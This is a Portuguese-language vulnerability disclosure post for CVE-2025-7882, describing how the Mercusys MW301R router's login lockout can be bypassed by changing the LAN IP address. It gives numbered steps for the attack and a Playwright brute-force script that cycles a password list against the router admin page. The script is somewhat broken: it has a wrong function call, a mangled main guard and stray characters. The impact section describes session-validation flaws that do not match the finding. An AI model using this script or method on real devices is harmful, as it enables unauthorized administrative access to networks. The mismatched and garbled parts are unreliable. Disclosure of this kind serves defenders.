Featured image of post CVE-2025-7882

CVE-2025-7882

Controle de Acesso Quebrado

CVE-2025-7882: Bypass de Força Bruta via Ciclagem de IP

Publicação CVE: https://www.cve.org/CVERecord?id=CVE-2025-7882

Resumo

O roteador Mercusys MW301R implementa um mecanismo básico de proteção contra força bruta que bloqueia tentativas de login após um certo número de tentativas de login. Tentativas com falha. No entanto, esse mecanismo de bloqueio se baseia exclusivamente no endereço IP de origem, sem impor nenhuma impressão digital de sessão, validação de token ou limitação avançada de taxa e endereço MAC, etc.

Detalhes

Um invasor conectado à LAN pode simplesmente alterar seu endereço IP local (por exemplo, de 192.168.1.10 para 192.168.1.11) após atingir o limite, zerando efetivamente o contador de tentativas de login.
Isso permite que um ataque de força bruta seja realizado contra a página de login do administrador, anulando completamente o mecanismo de segurança pretendido.

  1. Conecte-se à mesma rede local que o roteador (gateway padrão: 192.168.1.1) para preparar o ambiente de ataque.
  2. Inicie tentativas de login de força bruta enviando solicitações com valores de senha diferentes. Após algumas falhas, o roteador bloqueará novas tentativas a partir desse endereço IP.
  3. Para contornar o bloqueio, altere o endereço IP do seu dispositivo para outro dentro da faixa permitida e continue o processo de força bruta a partir do novo IP.
  4. Repita este processo — sempre que seu IP for bloqueado, alterne para outro IP entre 192.168.1.4 e 192.168.1.254 e retome o ataque.

Código do Exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import time from playwright.sync_api import Playwright, sync_playwright

def carrega_senhas(caminho_arquivo: str) -> list[str]: with open(caminho_arquivo, "r", encoding="utf-8") as f: return [linha.strip() for linha in f if linha.strip()]

def tenta_login(page, senha: str) -> bool: page.goto("http://192.168.1.1/") page.get_by_role("textbox", name="Senha de Login").fill(senha) page.get_by_role("textbox", name="Senha de Login").press("Enter") time.sleep(1) try: page.get_by_text("Avançado", exact=True, timeout=2000) return True except: return False

def run(playwright: Playwright) -> None: browser = playwright.chromium.launch(headless=False) context = browser.new_context() page = context.new_page()

senhas = carrega_senhas("senhas.txt", "")
for idx, senha in enumerate(senhas, 1):
    print(f"[{idx}/{len(senhas)}] Testando senha: {senha!r}")
    if tenta_login(page, senha):
        print(f">>> Sucesso! Senha encontrada: {senha!r}")

        page.get_by_text("Avançado", exact=True).click()
        break
else:
    print("Nenhuma senha funcionou.")

context.close()
browser.close()

if name == "main": with sync_playwright() as playwright: run(playwright) r

PoC

Video PoC

https://youtu.be/_t3ZC8zU4-A

Impacto

A falta de validação de sessão neste endpoint pode levar a vários riscos de segurança:

  • Exposição de Dados Não Autorizada: Usuários não autenticados podem enumerar ou recuperar dados internos confidenciais.
  • Escalonamento de Privilégios: Invasores podem acessar ou inferir informações destinadas apenas a usuários autorizados.
  • Divulgação de Informações: Lógica de negócios e IDs internos (como funções ou permissões de usuário) podem ser vazados.
  • Suporte de Reconhecimento: Facilita o mapeamento de estruturas de backend para ataques mais direcionados.

Referência

https://github.com/RaulPazemecxas/PoCVulDb/blob/main/CVE-2025-7882.md

Encontrado por:

Raul Pazemécxas

Por: CVE-Hunters

Built with Hugo
Theme Stack designed by Jimmy